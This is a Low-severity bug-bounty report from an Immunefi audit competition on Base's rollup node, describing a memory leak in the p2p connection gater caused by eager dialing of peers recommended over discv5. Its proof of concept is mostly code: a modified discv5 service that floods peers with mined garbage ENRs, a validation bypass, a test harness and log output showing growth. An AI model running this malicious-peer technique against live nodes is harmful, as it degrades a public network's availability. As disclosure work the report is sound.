Immunefi Audit Competitions76546 bc low memory leak in consensus through malicious discv5 peer recommendations because of eager dialing leading to rollup node crash
Submitted on May 4th 2026 at 19:52:32 UTC by @Franfran for Audit Comp | Base Azul
- Report ID: #76546
- Report Type: Blockchain/DLT
- Report severity: Low
- Target: https://github.com/base/base/tree/v0.8.0-rc.28
- Impacts:
- RPC API crash affecting programs with greater than or equal to 25% of the market capitalization on top of the respective layer
Description
Brief/Intro
The rollup node implements the discv5 protocol and reacts to discovered ENRs. The problem is that the node directly attempts to dial any of these and add it to the connection gater to track the connection state. This opens multiple attack scenarios:
- Targeted DDOS of victim nodes
- Memory leak in the connection gater
While (1.) has been partially mitigated by #2432 which enforces connection limits at the libp2p layer, the memory leak is still exploitable.
Vulnerability Details
There is a memory leak in the connection_gater. But we can accelerate how fast it's going to grow by creating a bunch of malicious discv5 clients.
When we receive an ENR from the discv5 library, it's passed to the enr_sender channel and then we call the dial_multiaddr eagerly without any kind of filtering done first.
At the end of the function, we call the connection_gater with the dialing function
// Let the gate know we are dialing the address.
// Note: libp2p-dns will automatically resolve DNS multiaddrs at the transport layer.
self.connection_gate.dialing(&addr);
And then we call the actual dial function from the libp2p swarm:
// Dial
match self.swarm.dial(addr.clone()) {
Ok(_) => {
trace!(target: "gossip", peer=?addr, "Dialed peer");
self.connection_gate.dialed(&addr);
Metrics::dial_peer().increment(1.0);
}
Err(e) => {
error!(target: "gossip", error = ?e, "Failed to connect to peer");
self.connection_gate.remove_dial(&peer_id);
Metrics::dial_peer_error("connection_error").increment(1.0);
}
}
The problem is that the dialing function adds a new entry to the self.current_dials as well as the self.connectedness, while remove_dial (which is called in case of libp2p dial function error) only clears the entry in the current_dials function.
But there is even worse. If the dial returned an Ok(..), we call dialed which doesn't edit the connectedness or current_dials, but it adds a new entry to the self.dialed_peers!
While having a quick look at the libp2p dial function, it seems like dial errors are only (roughly) returned when the connection limits are hit. The memory leak is attained more easily when the dial returns an Ok(..) but it can still be triggered if the function returns an error.
Impact Details
Base nodes are all dependent on the rollup node, which depends on the network actor, which is the component that features this discovery protocol discv5.
Attackers can spin up many instances of malicious discovery nodes which will pollute the storage of honest nodes, and make them crash in the long run since they may go out of memory, which is going to introduce a lot of instability on the network, and create DOS (Denial of Service) attacks which is a liveness threat to the network.
Proof of Concept
This proof of concept shows that the attack vector is real, but has not really been optimized to make it blow up fast because of time constraint (this is the last hour before the contest ends). Further analysis of the discv5 library and of the integration test could certainly find some ways for malicious peers to send ENRs at a higher throughput.
Changes has to be done to the discv5 libraries in order for this to work, but some explanations regarding the attack have been given. It's still exploitable but just makes the attack easier to reproduce in a test env.
Here are the few things which have been done:
1. Modification of the discv5 library
Basically, return many garbage node when receiving the FIND_NODE request:
diff --git a/src/service.rs b/src/service.rs
index 9437269..dd7b174 100644
--- a/src/service.rs
+++ b/src/service.rs
@@ -35,12 +35,17 @@ use connectivity_state::{
ConnectivityState, TimerFailure, DURATION_UNTIL_NEXT_CONNECTIVITY_ATTEMPT,
};
use delay_map::HashSetDelay;
-use enr::{CombinedKey, NodeId};
+use enr::k256::elliptic_curve::bigint::CheckedMul;
+use enr::k256::U256;
+use enr::{CombinedKey, EnrKey, NodeId};
use fnv::FnvHashMap;
use futures::prelude::*;
use more_asserts::debug_unreachable;
use parking_lot::RwLock;
use rpc::*;
+use std::io::Read;
+use std::net::Ipv4Addr;
+use std::ops::Mul;
use std::{
collections::HashMap,
convert::TryInto,
@@ -170,6 +175,7 @@ pub enum ServiceRequest {
}
use crate::discv5::PERMIT_BAN_LIST;
+use crate::kbucket::EntryRefView;
pub struct Service {
/// Configuration parameters.
@@ -760,22 +766,26 @@ impl Service {
nodes.retain(|enr| peer_key.log2_distance(&enr.node_id().into()).is_none());
}
} else {
- let before_len = nodes.len();
- nodes.retain(|enr| {
- peer_key
- .log2_distance(&enr.node_id().into())
- .map(|distance| distances_requested.contains(&distance))
- .unwrap_or_else(|| false)
- });
-
- if nodes.len() < before_len {
- // Peer sent invalid ENRs. Blacklist the Node
- let node_id = active_request.contact.node_id();
- let addr = active_request.contact.socket_addr();
- warn!(%node_id, %addr, "ENRs received of unsolicited distances. Blacklisting");
- let ban_timeout = self.config.ban_duration.map(|v| Instant::now() + v);
- PERMIT_BAN_LIST.write().ban(node_address, ban_timeout);
- }
+ // NOTE: commenting this out allows us for the node recommendation in the attack to be buggy.
+ // We need to mine ENRs in order for them to match the log2 distance as defined by the protocol.
+ // But for some reason that doesn't invalidate the claim, the random_nodes_by_distances fn is wrong!
+
+ // let before_len = nodes.len();
+ // nodes.retain(|enr| {
+ // peer_key
+ // .log2_distance(&enr.node_id().into())
+ // .map(|distance| distances_requested.contains(&distance))
+ // .unwrap_or_else(|| false)
+ // });
+
+ // if nodes.len() < before_len {
+ // // Peer sent invalid ENRs. Blacklist the Node
+ // let node_id = active_request.contact.node_id();
+ // let addr = active_request.contact.socket_addr();
+ // warn!(%node_id, %addr, "ENRs received of unsolicited distances. Blacklisting");
+ // let ban_timeout = self.config.ban_duration.map(|v| Instant::now() + v);
+ // PERMIT_BAN_LIST.write().ban(node_address, ban_timeout);
+ // }
}
// handle the case that there is more than one response
@@ -1061,6 +1071,81 @@ impl Service {
self.send_rpc_request(active_request);
}
+ pub fn random_nodes_by_distances(
+ &self,
+ from: &NodeId,
+ log2_distances: &[u64],
+ max_nodes: usize,
+ ) -> Vec<Enr> {
+ rand::thread_rng();
+ let mut result = Vec::new();
+
+ let from: [u8; 32] = from.raw().as_array().unwrap().clone();
+
+ for &distance in log2_distances {
+ if result.len() >= max_nodes {
+ break;
+ }
+
+ if distance == 0 || distance > 256 {
+ continue;
+ }
+
+ loop {
+ // Generate random key
+ let key = CombinedKey::generate_secp256k1();
+
+ // Real node id derived from pubkey
+ let node_id = NodeId::from(key.public());
+
+ let node_bytes: [u8; 32] = node_id.raw().as_array().unwrap().clone();
+
+ // Compute XOR distance
+ let mut xor = [0u8; 32];
+ for i in 0..32 {
+ xor[i] = from[i] ^ node_bytes[i];
+ }
+
+ // Compute log2 distance
+ let mut found_distance = None;
+
+ for i in 0..256 {
+ let b = xor[i / 8];
+ let bit = (b >> (7 - (i % 8))) & 1;
+
+ if bit == 1 {
+ found_distance = Some((256 - i) as u64);
+ break;
+ }
+ }
+
+ if found_distance != Some(distance) {
+ continue;
+ }
+
+ // Build ENR
+ let port: u16 = rand::random();
+
+ let mut b = Enr::builder();
+ b.ip4(Ipv4Addr::new(
+ rand::random(),
+ rand::random(),
+ rand::random(),
+ rand::random(),
+ ))
+ .udp4(port)
+ .tcp4(port);
+
+ let mut enr = b.build(&key).unwrap();
+
+ result.push(enr);
+ break;
+ }
+ }
+
+ result
+ }
+
/// Sends a NODES response, given a list of found ENR's. This function splits the nodes up
/// into multiple responses to ensure the response stays below the maximum packet size.
fn send_nodes_response(
@@ -1080,22 +1165,11 @@ impl Service {
distances.remove(0);
}
- if !distances.is_empty() {
- let mut kbuckets = self.kbuckets.write();
- for node in kbuckets
- .nodes_by_distances(distances.as_slice(), self.config.max_nodes_response)
- .into_iter()
- .filter_map(|entry| {
- if entry.node.key.preimage() != &node_address.node_id {
- Some(entry.node.value.clone())
- } else {
- None
- }
- })
- {
- nodes_to_send.push(node);
- }
- }
+ let nodes_to_send = self.random_nodes_by_distances(
+ &node_address.node_id,
+ distances.as_slice(),
+ self.config.max_nodes_response,
+ );
// if there are no nodes, send an empty response
if nodes_to_send.is_empty() {
Then, you will have to modify the way it's imported in Cargo.toml. For instance you can import it by path.
2. Logging to make the memory leak easier to spot
diff --git a/crates/consensus/gossip/src/gater.rs b/crates/consensus/gossip/src/gater.rs
index 8bc18cdca..9262ab018 100644
--- a/crates/consensus/gossip/src/gater.rs
+++ b/crates/consensus/gossip/src/gater.rs
@@ -291,6 +291,7 @@ impl ConnectionGate for ConnectionGater {
if let Some(peer_id) = Self::peer_id_from_addr(addr) {
self.current_dials.insert(peer_id);
self.connectedness.insert(peer_id, Connectedness::Connected);
+ warn!("connectedness len {}", self.connectedness.len());
} else {
warn!(target: "p2p", peer=?addr, "Failed to extract PeerId from Multiaddr when dialing");
}
@@ -310,6 +311,7 @@ impl ConnectionGate for ConnectionGater {
dial_info.num_dials += 1;
dial_info.last_dial = Instant::now();
trace!(target: "gossip", peer=?addr, count = dial_info.num_dials, "Dialed peer");
+ warn!("dialed_peers len {}", self.dialed_peers.len());
}
fn remove_dial(&mut self, peer_id: &PeerId) {
3. Integration test
Spinning a bunch of consensus nodes to observe the memory leak
diff --git a/crates/consensus/service/tests/actors/network/p2p.rs b/crates/consensus/service/tests/actors/network/p2p.rs
index 4fbe8ff00..b94664f53 100644
--- a/crates/consensus/service/tests/actors/network/p2p.rs
+++ b/crates/consensus/service/tests/actors/network/p2p.rs
@@ -1,4 +1,6 @@
use crate::actors::network::mocks::builder::TestNetworkBuilder;
+use std::time::Duration;
+use tokio::time::sleep;
#[tokio::test(flavor = "multi_thread")]
async fn test_p2p_network_conn() -> anyhow::Result<()> {
@@ -42,3 +44,39 @@ async fn test_large_network_conn() -> anyhow::Result<()> {
Ok(())
}
+
+#[tokio::test(flavor = "multi_thread")]
+async fn test_malicious_discv5_peer_connection_gate_memory_leak() -> anyhow::Result<()> {
+ use tracing_subscriber::EnvFilter;
+
+ let _ = tracing_subscriber::fmt()
+ .with_env_filter(EnvFilter::new("info,libp2p=info"))
+ .with_test_writer()
+ .try_init();
+
+ const NODES: usize = 100;
+
+ let mut builder = TestNetworkBuilder::new();
+ let (mut networks, mut bootnodes) = (vec![], vec![]);
+ for _ in 0..NODES {
+ let network = builder.build(bootnodes.clone()).await;
+ let enr = network.peer_enr().await?;
+ networks.push(network);
+ bootnodes.push(enr);
+ }
+
+ tracing::info!("Waiting for connections...");
+ for n in &networks {
+ for o in &networks {
+ if n.peer_id().await? == o.peer_id().await? {
+ continue;
+ }
+ let _ = n.is_connected_to_with_retries(o).await;
+ }
+ }
+ tracing::info!("Connections established");
+
+ sleep(Duration::from_mins(20)).await;
+
+ Ok(())
+}
Change the TestNetworkBuilder implementation to create real-life-like discovery networks with ports and stuff:
diff --git a/crates/consensus/service/tests/actors/network/mocks/builder.rs b/crates/consensus/service/tests/actors/network/mocks/builder.rs
index 54fae0443..350de9524 100644
--- a/crates/consensus/service/tests/actors/network/mocks/builder.rs
+++ b/crates/consensus/service/tests/actors/network/mocks/builder.rs
@@ -14,7 +14,7 @@ use base_consensus_peers::BootNode;
use base_consensus_sources::BlockSigner;
use discv5::{ConfigBuilder, Enr, ListenConfig};
use libp2p::{Multiaddr, identity::Keypair, multiaddr::Protocol};
-use rand::RngCore;
+use rand::{Rng, RngCore};
use tokio::sync::mpsc;
use tokio_util::sync::CancellationToken;
use tracing::error;
@@ -60,6 +60,10 @@ impl TestNetworkBuilder {
/// Minimal network configuration.
/// Only allows loopback addresses in the discovery table.
pub(crate) async fn build(&mut self, bootnodes: Vec<Enr>) -> TestNetwork {
+ let discovery_port = rand::rng().random_range(10000..u16::MAX);
+ let gossip_port = rand::rng().random_range(10000..u16::MAX);
+ assert_ne!(discovery_port, gossip_port, "Gossip port must be different from node port");
+
let keypair = self.custom_keypair.take().unwrap_or_else(Keypair::generate_secp256k1);
let secp256k1_key = keypair.clone().try_into_secp256k1()
@@ -70,19 +74,19 @@ impl TestNetworkBuilder {
let node_addr = IpAddr::V4(Ipv4Addr::UNSPECIFIED);
- let discovery_config = ConfigBuilder::new(ListenConfig::from_ip(node_addr, 0))
+ let discovery_config = ConfigBuilder::new(ListenConfig::from_ip(node_addr, discovery_port))
// Only allow loopback addresses.
- .table_filter(|enr| {
- let Some(ip) = enr.ip4() else {
- return false;
- };
-
- ip.is_loopback()
- })
+ // .table_filter(|enr| {
+ // let Some(ip) = enr.ip4() else {
+ // return false;
+ // };
+ //
+ // ip.is_loopback()
+ // })
.build();
let mut gossip_multiaddr = Multiaddr::from(node_addr);
- gossip_multiaddr.push(Protocol::Tcp(0));
+ gossip_multiaddr.push(Protocol::Tcp(gossip_port));
// Create a new network actor. No external connections
let builder = NetworkBuilder::new(
@@ -91,7 +95,7 @@ impl TestNetworkBuilder {
self.unsafe_block_signer,
gossip_multiaddr,
keypair,
- LocalNode::new(local_node_key.clone(), node_addr, 0, 0),
+ LocalNode::new(local_node_key.clone(), node_addr, discovery_port, discovery_port),
discovery_config,
Some(BlockSigner::Local(local_node_key.into())),
)
Allow ENR validation to always pass. It's easy to "exploit" but would be pretty verbose to do in the discv5 library, where the malicious ENRs are built.
diff --git a/crates/consensus/peers/src/enr.rs b/crates/consensus/peers/src/enr.rs
index 98562f0f6..7bfa45f7a 100644
--- a/crates/consensus/peers/src/enr.rs
+++ b/crates/consensus/peers/src/enr.rs
@@ -22,6 +22,8 @@ pub enum EnrValidation {
impl EnrValidation {
/// Validates the [`Enr`] for Base.
pub fn validate(enr: &Enr, chain_id: u64) -> Self {
+ return Self::Valid;
+
let base_enr = match BaseEnr::try_from(enr) {
Ok(base_enr) => base_enr,
Err(e) => return Self::ConversionError(e),
Run the test output
You will see the connection gater grow. After only ~15 minutes of running, we already have more than 4k entries:
2026-05-04T19:46:17.099088Z WARN base_consensus_gossip::gater: dialed_peers len 4358
2026-05-04T19:46:17.099103Z WARN base_consensus_gossip::gater: connectedness len 4359
2026-05-04T19:46:17.099106Z WARN base_consensus_gossip::gater: dialed_peers len 4359
2026-05-04T19:46:17.099690Z WARN base_consensus_gossip::gater: connectedness len 4360
2026-05-04T19:46:17.099714Z WARN base_consensus_gossip::gater: dialed_peers len 4360
2026-05-04T19:46:17.099755Z WARN base_consensus_gossip::gater: connectedness len 4361
2026-05-04T19:46:17.099764Z WARN base_consensus_gossip::gater: dialed_peers len 4361
2026-05-04T19:46:17.099803Z WARN base_consensus_gossip::gater: connectedness len 4362
2026-05-04T19:46:17.099813Z WARN base_consensus_gossip::gater: dialed_peers len 4362
2026-05-04T19:46:17.100521Z WARN base_consensus_gossip::gater: connectedness len 4363
2026-05-04T19:46:17.100527Z WARN base_consensus_gossip::gater: dialed_peers len 4363
2026-05-04T19:46:17.100549Z WARN base_consensus_gossip::gater: connectedness len 4364
2026-05-04T19:46:17.100555Z WARN base_consensus_gossip::gater: dialed_peers len 4364
2026-05-04T19:46:17.100570Z WARN base_consensus_gossip::gater: connectedness len 4365
2026-05-04T19:46:17.100575Z WARN base_consensus_gossip::gater: dialed_peers len 4365
2026-05-04T19:46:17.116533Z WARN base_consensus_gossip::gater: connectedness len 4394
2026-05-04T19:46:17.116547Z WARN base_consensus_gossip::gater: dialed_peers len 4394
2026-05-04T19:46:17.116600Z WARN base_consensus_gossip::gater: connectedness len 4395
2026-05-04T19:46:17.116610Z WARN base_consensus_gossip::gater: dialed_peers len 4395
2026-05-04T19:46:17.116648Z WARN base_consensus_gossip::gater: connectedness len 4396
2026-05-04T19:46:17.116656Z WARN base_consensus_gossip::gater: dialed_peers len 4396
2026-05-04T19:46:17.120431Z WARN base_consensus_gossip::gater: connectedness len 4423
2026-05-04T19:46:17.120441Z WARN base_consensus_gossip::gater: dialed_peers len 4423
2026-05-04T19:46:17.120457Z WARN base_consensus_gossip::gater: connectedness len 4424
2026-05-04T19:46:17.120463Z WARN base_consensus_gossip::gater: dialed_peers len 4424
2026-05-04T19:46:17.120477Z WARN base_consensus_gossip::gater: connectedness len 4425
2026-05-04T19:46:17.120484Z WARN base_consensus_gossip::gater: dialed_peers len 4425
2026-05-04T19:46:17.122213Z WARN base_consensus_gossip::gater: connectedness len 4366
2026-05-04T19:46:17.122219Z WARN base_consensus_gossip::gater: dialed_peers len 4366
2026-05-04T19:46:17.122281Z WARN base_consensus_gossip::gater: connectedness len 4367
2026-05-04T19:46:17.122302Z WARN base_consensus_gossip::gater: dialed_peers len 4367
2026-05-04T19:46:17.122339Z WARN base_consensus_gossip::gater: connectedness len 4368
2026-05-04T19:46:17.122348Z WARN base_consensus_gossip::gater: dialed_peers len 4368
2026-05-04T19:46:17.261592Z WARN base_consensus_gossip::gater: connectedness len 4290
2026-05-04T19:46:17.261620Z WARN base_consensus_gossip::gater: dialed_peers len 4290
2026-05-04T19:46:17.261653Z WARN base_consensus_gossip::gater: connectedness len 4291
2026-05-04T19:46:17.261662Z WARN base_consensus_gossip::gater: dialed_peers len 4291
2026-05-04T19:46:17.261721Z WARN base_consensus_gossip::gater: connectedness len 4292
2026-05-04T19:46:17.261728Z WARN base_consensus_gossip::gater: dialed_peers len 4292
2026-05-04T19:46:17.264134Z WARN base_consensus_gossip::gater: connectedness len 4237
2026-05-04T19:46:17.264146Z WARN base_consensus_gossip::gater: dialed_peers len 4237
2026-05-04T19:46:17.264177Z WARN base_consensus_gossip::gater: connectedness len 4238
2026-05-04T19:46:17.264184Z WARN base_consensus_gossip::gater: dialed_peers len 4238
2026-05-04T19:46:17.264215Z WARN base_consensus_gossip::gater: connectedness len 4239
2026-05-04T19:46:17.264224Z WARN base_consensus_gossip::gater: dialed_peers len 4239
2026-05-04T19:46:17.264986Z WARN base_consensus_gossip::gater: connectedness len 4409
2026-05-04T19:46:17.265004Z WARN base_consensus_gossip::gater: dialed_peers len 4409
2026-05-04T19:46:17.265051Z WARN base_consensus_gossip::gater: connectedness len 4410
2026-05-04T19:46:17.265060Z WARN base_consensus_gossip::gater: dialed_peers len 4410
2026-05-04T19:46:17.265298Z WARN base_consensus_gossip::gater: connectedness len 4326
2026-05-04T19:46:17.265312Z WARN base_consensus_gossip::gater: dialed_peers len 4326
2026-05-04T19:46:17.265346Z WARN base_consensus_gossip::gater: connectedness len 4327
2026-05-04T19:46:17.265353Z WARN base_consensus_gossip::gater: dialed_peers len 4327
2026-05-04T19:46:17.265386Z WARN base_consensus_gossip::gater: connectedness len 4328
2026-05-04T19:46:17.265393Z WARN base_consensus_gossip::gater: dialed_peers len 4328
2026-05-04T19:46:17.265930Z WARN base_consensus_gossip::gater: connectedness len 4473
2026-05-04T19:46:17.265948Z WARN base_consensus_gossip::gater: dialed_peers len 4473
2026-05-04T19:46:17.265984Z WARN base_consensus_gossip::gater: connectedness len 4474
2026-05-04T19:46:17.265990Z WARN base_consensus_gossip::gater: dialed_peers len 4474
2026-05-04T19:46:17.275200Z WARN base_consensus_gossip::gater: connectedness len 4328
2026-05-04T19:46:17.275217Z WARN base_consensus_gossip::gater: dialed_peers len 4328
2026-05-04T19:46:17.275263Z WARN base_consensus_gossip::gater: connectedness len 4329
2026-05-04T19:46:17.275272Z WARN base_consensus_gossip::gater: dialed_peers len 4329
2026-05-04T19:46:17.275305Z WARN base_consensus_gossip::gater: connectedness len 4330
2026-05-04T19:46:17.275313Z WARN base_consensus_gossip::gater: dialed_peers len 4330
2026-05-04T19:46:17.275683Z WARN base_consensus_gossip::gater: connectedness len 4256
2026-05-04T19:46:17.275696Z WARN base_consensus_gossip::gater: dialed_peers len 4256
2026-05-04T19:46:17.275729Z WARN base_consensus_gossip::gater: connectedness len 4257
2026-05-04T19:46:17.275737Z WARN base_consensus_gossip::gater: dialed_peers len 4257
2026-05-04T19:46:17.275779Z WARN base_consensus_gossip::gater: connectedness len 4258
2026-05-04T19:46:17.275787Z WARN base_consensus_gossip::gater: dialed_peers len 4258
2026-05-04T19:46:17.276019Z WARN base_consensus_gossip::gater: connectedness len 4476
2026-05-04T19:46:17.276036Z WARN base_consensus_gossip::gater: dialed_peers len 4476
2026-05-04T19:46:17.276076Z WARN base_consensus_gossip::gater: connectedness len 4477
2026-05-04T19:46:17.276085Z WARN base_consensus_gossip::gater: dialed_peers len 4477
2026-05-04T19:46:17.276117Z WARN base_consensus_gossip::gater: connectedness len 4478
2026-05-04T19:46:17.276125Z WARN base_consensus_gossip::gater: dialed_peers len 4478
2026-05-04T19:46:17.410127Z WARN base_consensus_gossip::gater: connectedness len 4620
2026-05-04T19:46:17.410142Z WARN base_consensus_gossip::gater: dialed_peers len 4620
2026-05-04T19:46:17.410210Z WARN base_consensus_gossip::gater: connectedness len 4621
2026-05-04T19:46:17.410219Z WARN base_consensus_gossip::gater: dialed_peers len 4621
2026-05-04T19:46:17.410250Z WARN base_consensus_gossip::gater: connectedness len 4622
2026-05-04T19:46:17.410255Z WARN base_consensus_gossip::gater: dialed_peers len 4622
2026-05-04T19:46:17.419154Z WARN base_consensus_gossip::gater: connectedness len 4623
2026-05-04T19:46:17.419172Z WARN base_consensus_gossip::gater: dialed_peers len 4623
2026-05-04T19:46:17.419236Z WARN base_consensus_gossip::gater: connectedness len 4624
2026-05-04T19:46:17.419254Z WARN base_consensus_gossip::gater: dialed_peers len 4624
2026-05-04T19:46:17.419285Z WARN base_consensus_gossip::gater: connectedness len 4625
2026-05-04T19:46:17.419291Z WARN base_consensus_gossip::gater: dialed_peers len 4625
2026-05-04T19:46:17.420788Z WARN base_consensus_gossip::gater: connectedness len 4626
2026-05-04T19:46:17.420797Z WARN base_consensus_gossip::gater: dialed_peers len 4626
2026-05-04T19:46:17.420848Z WARN base_consensus_gossip::gater: connectedness len 4627
2026-05-04T19:46:17.420868Z WARN base_consensus_gossip::gater: dialed_peers len 4627
2026-05-04T19:46:17.420901Z WARN base_consensus_gossip::gater: connectedness len 4628
2026-05-04T19:46:17.420908Z WARN base_consensus_gossip::gater: dialed_peers len 4628
2026-05-04T19:46:17.421847Z WARN base_consensus_gossip::gater: connectedness len 4629
2026-05-04T19:46:17.421857Z WARN base_consensus_gossip::gater: dialed_peers len 4629
2026-05-04T19:46:17.421870Z WARN base_consensus_gossip::gater: connectedness len 4630
2026-05-04T19:46:17.421874Z WARN base_consensus_gossip::gater: dialed_peers len 4630
2026-05-04T19:46:17.422093Z WARN base_consensus_gossip::gater: connectedness len 4631
2026-05-04T19:46:17.422117Z WARN base_consensus_gossip::gater: dialed_peers len 4631
2026-05-04T19:46:17.422159Z WARN base_consensus_gossip::gater: connectedness len 4632
2026-05-04T19:46:17.422166Z WARN base_consensus_gossip::gater: dialed_peers len 4632
2026-05-04T19:46:17.423261Z WARN base_consensus_gossip::gater: connectedness len 4633
2026-05-04T19:46:17.423272Z WARN base_consensus_gossip::gater: dialed_peers len 4633
2026-05-04T19:46:17.423305Z WARN base_consensus_gossip::gater: connectedness len 4634
2026-05-04T19:46:17.423314Z WARN base_consensus_gossip::gater: dialed_peers len 4634
2026-05-04T19:46:17.429384Z WARN base_consensus_gossip::gater: connectedness len 4635
2026-05-04T19:46:17.429396Z WARN base_consensus_gossip::gater: dialed_peers len 4635
2026-05-04T19:46:17.429430Z WARN base_consensus_gossip::gater: connectedness len 4636
2026-05-04T19:46:17.429439Z WARN base_consensus_gossip::gater: dialed_peers len 4636
2026-05-04T19:46:17.444651Z WARN base_consensus_gossip::gater: connectedness len 4499
2026-05-04T19:46:17.444671Z WARN base_consensus_gossip::gater: dialed_peers len 4499
2026-05-04T19:46:17.444698Z WARN base_consensus_gossip::gater: connectedness len 4500
2026-05-04T19:46:17.444704Z WARN base_consensus_gossip::gater: dialed_peers len 4500
2026-05-04T19:46:17.444742Z WARN base_consensus_gossip::gater: connectedness len 4501
2026-05-04T19:46:17.444747Z WARN base_consensus_gossip::gater: dialed_peers len 4501
2026-05-04T19:46:17.447183Z WARN base_consensus_gossip::gater: connectedness len 4637
2026-05-04T19:46:17.447193Z WARN base_consensus_gossip::gater: dialed_peers len 4637
2026-05-04T19:46:17.447205Z WARN base_consensus_gossip::gater: connectedness len 4638
2026-05-04T19:46:17.447210Z WARN base_consensus_gossip::gater: dialed_peers len 4638
2026-05-04T19:46:17.823591Z WARN base_consensus_gossip::gater: connectedness len 4251
2026-05-04T19:46:17.823609Z WARN base_consensus_gossip::gater: dialed_peers len 4251
2026-05-04T19:46:17.823621Z WARN base_consensus_gossip::gater: connectedness len 4252
2026-05-04T19:46:17.823626Z WARN base_consensus_gossip::gater: dialed_peers len 4252
2026-05-04T19:46:17.827292Z WARN base_consensus_gossip::gater: connectedness len 4414
2026-05-04T19:46:17.827306Z WARN base_consensus_gossip::gater: dialed_peers len 4414
2026-05-04T19:46:17.827319Z WARN base_consensus_gossip::gater: connectedness len 4415
2026-05-04T19:46:17.827325Z WARN base_consensus_gossip::gater: dialed_peers len 4415
2026-05-04T19:46:17.831362Z WARN base_consensus_gossip::gater: connectedness len 4416
2026-05-04T19:46:17.831375Z WARN base_consensus_gossip::gater: dialed_peers len 4416
2026-05-04T19:46:17.831387Z WARN base_consensus_gossip::gater: connectedness len 4417
2026-05-04T19:46:17.831391Z WARN base_consensus_gossip::gater: dialed_peers len 4417
2026-05-04T19:46:17.831404Z WARN base_consensus_gossip::gater: connectedness len 4418
2026-05-04T19:46:17.831409Z WARN base_consensus_gossip::gater: dialed_peers len 4418
2026-05-04T19:46:17.861808Z WARN base_consensus_gossip::gater: connectedness len 4419
2026-05-04T19:46:17.861818Z WARN base_consensus_gossip::gater: dialed_peers len 4419
2026-05-04T19:46:17.861830Z WARN base_consensus_gossip::gater: connectedness len 4420
2026-05-04T19:46:17.861835Z WARN base_consensus_gossip::gater: dialed_peers len 4420
2026-05-04T19:46:17.861845Z WARN base_consensus_gossip::gater: connectedness len 4421
2026-05-04T19:46:17.861847Z WARN base_consensus_gossip::gater: dialed_peers len 4421